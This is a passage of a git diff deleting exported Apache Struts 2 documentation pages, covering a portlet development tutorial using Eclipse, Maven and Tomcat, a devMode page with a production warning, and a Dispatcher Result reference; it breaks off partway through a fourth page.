-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Developing a Portlet using Eclipse</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="developing-a-portlet-using-eclipse.html">Developing a Portlet using Eclipse</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Developing a Portlet using Eclipse</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62489">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62489">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62489">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62489">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62489">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62489">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The Portlet support is experimental. Feedback is appreciated!</p></div></div>
-
-<h1 id="DevelopingaPortletusingEclipse-Index">Index</h1>
-
-<ol><li><a shape="rect" href="developing-a-portlet-using-eclipse.html">Introduction</a></li><li><a shape="rect" href="developing-a-portlet-using-eclipse.html">Installing Eclipse</a></li><li><a shape="rect" href="developing-a-portlet-using-eclipse.html">Installing Maven 2</a></li><li><a shape="rect" href="developing-a-portlet-using-eclipse.html">Installing Tomcat</a></li><li><a shape="rect" href="developing-a-portlet-using-eclipse.html">Creating the project</a></li><li><a shape="rect" hre [...]
-
-
-<h1 id="DevelopingaPortletusingEclipse-Step-by-StepTutorial">Step-by-Step Tutorial</h1>
-
-
-<h2 id="DevelopingaPortletusingEclipse-Introductionintro">Introduction <span class="confluence-anchor-link" id="DevelopingaPortletusingEclipse-intro"></span></h2>
-
-<p>This tutorial focuses on how to create an Eclipse development environment to create and debug portlets.  It does not cover portal deployment (which is different for each portal) and cheats a bit by using the struts2-archetype-portlet Maven 2 archetype.  We can get away with not talking about portlet development, because Struts 2 portlet support allows a carefully-written portlet to be ran as a regular servlet application, drastically simplifying our development setup.  Of course, to f [...]
-
-<h2 id="DevelopingaPortletusingEclipse-InstallingEclipseinstall_eclipse">Installing Eclipse <span class="confluence-anchor-link" id="DevelopingaPortletusingEclipse-install_eclipse"></span></h2>
-
-<p>In the tutorial, we will be using Eclipse 3.3 which can be downloaded from <a shape="rect" class="external-link" href="http://www.eclipse.org" rel="nofollow">http://www.eclipse.org</a>.  I recommend the JEE package, which contains the popular (and required for this tutorial) Web Tools Project.</p>
-
-<h2 id="DevelopingaPortletusingEclipse-InstallingMaven2install_maven">Installing Maven 2 <span class="confluence-anchor-link" id="DevelopingaPortletusingEclipse-install_maven"></span></h2>
-
-<p>Apache Maven 2 can be found at <a shape="rect" class="external-link" href="http://maven.apache.org">http://maven.apache.org</a>.</p>
-
-<h2 id="DevelopingaPortletusingEclipse-InstallingTomcatinstall_tomcat">Installing Tomcat <span class="confluence-anchor-link" id="DevelopingaPortletusingEclipse-install_tomcat"></span></h2>
-
-<p>Apache Tomcat can be found at <a shape="rect" class="external-link" href="http://tomcat.apache.org">http://tomcat.apache.org</a>.  To install, simply unzip the distribution to a known location on your hard drive.</p>
-
-<h2 id="DevelopingaPortletusingEclipse-Creatingtheprojectcreate_project">Creating the project <span class="confluence-anchor-link" id="DevelopingaPortletusingEclipse-create_project"></span></h2>
-
-<p>To start, we will use the Struts 2 portlet Maven archetype, struts2-archetype-portlet, which will create a new portlet project will all the necessary files for a simple "hello world"-style portlet.  Open a terminal and type:</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>mvn archetype:create -DgroupId=com.mycompany.myportlet \
-                     -DartifactId=myportlet \
-                     -DarchetypeGroupId=org.apache.struts \
-                     -DarchetypeArtifactId=struts2-archetype-portlet \
-                     -DarchetypeVersion=2.0.9-SNAPSHOT \
-                     -DremoteRepositories=http://people.apache.org/repo/m2-snapshot-repository
-</pre>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Aternatively, you can use <a shape="rect" class="external-link" href="http://code.google.com/p/archy/" rel="nofollow">Archy</a>, a tool that provides an interactive command-line front-end to Maven Archetypes.</p></div></div>
-<p>This will result in the following layout:</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>./src/main/java/com/mycompany/myportlet/view/IndexAction.java
-./src/main/java/com/mycompany/myportlet/edit/IndexAction.java
-./src/main/webapp/WEB-INF/web.xml
-./src/main/webapp/WEB-INF/view/index.jsp
-./src/main/webapp/WEB-INF/portlet.xml
-./src/main/webapp/WEB-INF/edit/index-success.jsp
-./src/main/webapp/WEB-INF/edit/index-input.jsp
-./src/main/webapp/WEB-INF/help/index.jsp
-./src/main/webapp/index.jsp
-./src/main/resources/struts.xml
-./pom.xml
-</pre>
-</div></div>
-
-<p>As you can see, this portlet comes with a simple "hello world" view, but also default edit and help screens.</p>
-
-<h2 id="DevelopingaPortletusingEclipse-Eclipseprojectgenerationeclipse_generation">Eclipse project generation <span class="confluence-anchor-link" id="DevelopingaPortletusingEclipse-eclipse_generation"></span></h2>
-
-<p>A nice benefit of the Maven 2 build that new project comes equipped with is Maven 2 has a plugin that will generate all our Eclipse configuration.  Move into the 'myportlet' directory and type:</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>mvn -Dwtpversion=1.0 -DdownloadSources=true eclipse:eclipse
-</pre>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">First Eclipse and Maven project?</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>If this is your first time using Eclipse and Maven, Eclipse needs to know the path to the local maven repository. Therefore the classpath variable M2_REPO has to be set. Execute the following command:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>mvn -Declipse.workspace=&lt;path-to-eclipse-workspace&gt; eclipse:add-maven-repo 
-</pre>
-</div></div>
-<p>You can also define a new classpath variable inside eclipse: From the menu bar, select Window &gt; Preferences. Select the Java &gt; Build Path &gt; Classpath Variables page.</p></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For more information on the Maven Eclipse plugin, see its <a shape="rect" class="external-link" href="http://maven.apache.org/plugins/maven-eclipse-plugin/overview.html">homepage</a></p></div></div>
-
-<p>Now, your generated 'myportlet' Eclipse module is ready to be imported into your workspace.  In Eclipse, go to "File -&gt; Import... -&gt; General -&gt; Existing Projects into Workspace", select the your 'myportlet' directory, and follow the prompts.</p>
-
-<h2 id="DevelopingaPortletusingEclipse-Deployingyourportletasaservletdeploy_servlet">Deploying your portlet as a servlet <span class="confluence-anchor-link" id="DevelopingaPortletusingEclipse-deploy_servlet"></span></h2>
-
-<p>Since the Eclipse project was generated with the 'wtpversion' flag, it will be immediately recognized as a web application by Eclipse.  If this is your first time deploying web applications in Eclipse, you will need set up your Tomcat server.  To do this in Eclipse:</p>
-
-<ol><li>Navigate to "Window -&gt; Show View -&gt; Other..."</li><li>Open "Server" and select "Servers".  This will open a "Servers" tab, probably in your bottom tab panel.</li><li>Right-click in the new "Servers" tab and select "New -&gt; Server"</li><li>Select the version of Tomcat you installed and click "Next"</li><li>Click "Browse" and locate your Tomcat installation, and click "Next"</li><li>If "myportlet" isn't already in the "Configured projects" column, move it over and click "Fi [...]
-
-
-<p>Before we can run our portlet in Eclipse, I've found that you need to add the portlet jar to Tomcat.  To do this:</p>
-
-<ol><li>Right-click on the 'myportlet' project in the "Project Explorer" and select "Properties"</li><li>Click on "J2EE Module Dependencies</li><li>Click on the checkbox next to "M2_REPO/portlet-api/portlet-api/1.0/portlet-api-1.0.jar"</li><li>Click "OK"</li></ol>
-
-
-<p>Now, you should be able to run and debug your project in Tomcat.  The way I prefer to do this is to:</p>
-
-<ol><li>Right-click on the 'myportlet' project in the "Package Explorer" and select "Run As -&gt; Run on Server"</li><li>Select the Tomcat server you set up and click "Finish"</li></ol>
-
-
-<p>Eclipse will now run your portlet application as if it was a servlet.</p>
-
-<h2 id="DevelopingaPortletusingEclipse-AdditionalTipstips">Additional Tips <span class="confluence-anchor-link" id="DevelopingaPortletusingEclipse-tips"></span></h2>
-
-<ul><li>"View", "Edit", "Help" mode actions are mapped to the "/view", "/edit", "/help" namespaces respectively</li><li>The default action in each namespace is titled the "index" action</li><li>To add actions, just add the Action class and jsp following the shown conventions.  No <code>struts.xml</code> modification needed.</li><li>Use the Eclipse option "Debug As..." instead of "Run As..." to enable step through debugging</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/devmode.html b/content/docs/devmode.html
deleted file mode 100644
index 9d52f6f..0000000
--- a/content/docs/devmode.html
+++ /dev/null
@@ -1,160 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>devMode</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="devmode.html">devMode</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">devMode</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=48688">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=48688">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=48688">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=48688">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=48688">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=48688">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="devMode-DevelopmentMode(aka&quot;devMode&quot;)">Development Mode (aka "devMode")</h2><div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please turn this option off before deploying application to a production environment - it can expose sensitive data of your applica [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.devMode" value="true" /&gt;
-&lt;constant name="struts.i18n.reload" value="false"/&gt;
-&lt;constant name="struts.configuration.xml.reload" value="false"/&gt;
-&lt;constant name="struts.freemarker.templatesCache" value="true"/&gt;
-&lt;constant name="struts.freemarker.templatesCache.updateDelay" value="120"/&gt;
-&lt;constant name="struts.freemarker.mru.max.strong.size" value="120"/&gt;
-</pre>
-</div></div><p>As you can see, you can switch <code>devMode</code> on and still have production options on as well.</p><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please remember to use production optimized options which can be different than these used during development (especially cache related)!</p></div> [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/dispatcher-result.html b/content/docs/dispatcher-result.html
deleted file mode 100644
index 305b872..0000000
--- a/content/docs/dispatcher-result.html
+++ /dev/null
@@ -1,177 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Dispatcher Result</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="dispatcher-result.html">Dispatcher Result</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Dispatcher Result</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14094">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14094">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14094">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14094">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14094">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14094">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p></p><p>
-Includes or forwards to a view (usually a jsp). Behind the scenes Struts
-will use a RequestDispatcher, where the target servlet/JSP receives the same
-request/response objects as the original servlet/JSP. Therefore, you can pass
-data between them using request.setAttribute() - the Struts action is
-available.
-</p>
-
-<p></p><p>
-There are three possible ways the result can be executed:
-</p>
-
-<p></p><ul></ul><p></p><ul><li>If we are in the scope of a JSP (a PageContext is available), PageContext's
-{@link PageContext#include(String) include} method is called.</li></ul><p></p><ul><li>If there is no PageContext and we're not in any sort of include (there is no
-"javax.servlet.include.servlet_path" in the request attributes), then a call to
-{@link RequestDispatcher#forward(javax.servlet.ServletRequest, javax.servlet.ServletResponse) forward}
-is made.</li></ul><p></p><ul><li>Otherwise, {@link RequestDispatcher#include(javax.servlet.ServletRequest, javax.servlet.ServletResponse) include}
-is called.</li></ul><p></p><h2 id="DispatcherResult-Parameters">Parameters</h2><p>
-</p><p></p><ul></ul><p></p><ul><li><b>location (default)</b> - the location to go to after execution (ex. jsp).</li></ul><p></p><ul><li><b>parse</b> - true by default. If set to false, the location param will not be parsed for Ognl expressions.</li></ul><p></p>
-<h2 id="DispatcherResult-Examples">Examples</h2><p></p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;result name=&quot;success&quot; type=&quot;dispatcher&quot;&gt;
-  &lt;param name=&quot;location&quot;&gt;foo.jsp&lt;/param&gt;
-&lt;/result&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/dispatcher.html b/content/docs/dispatcher.html
deleted file mode 100644
index c8fc4ce..0000000
--- a/content/docs/dispatcher.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
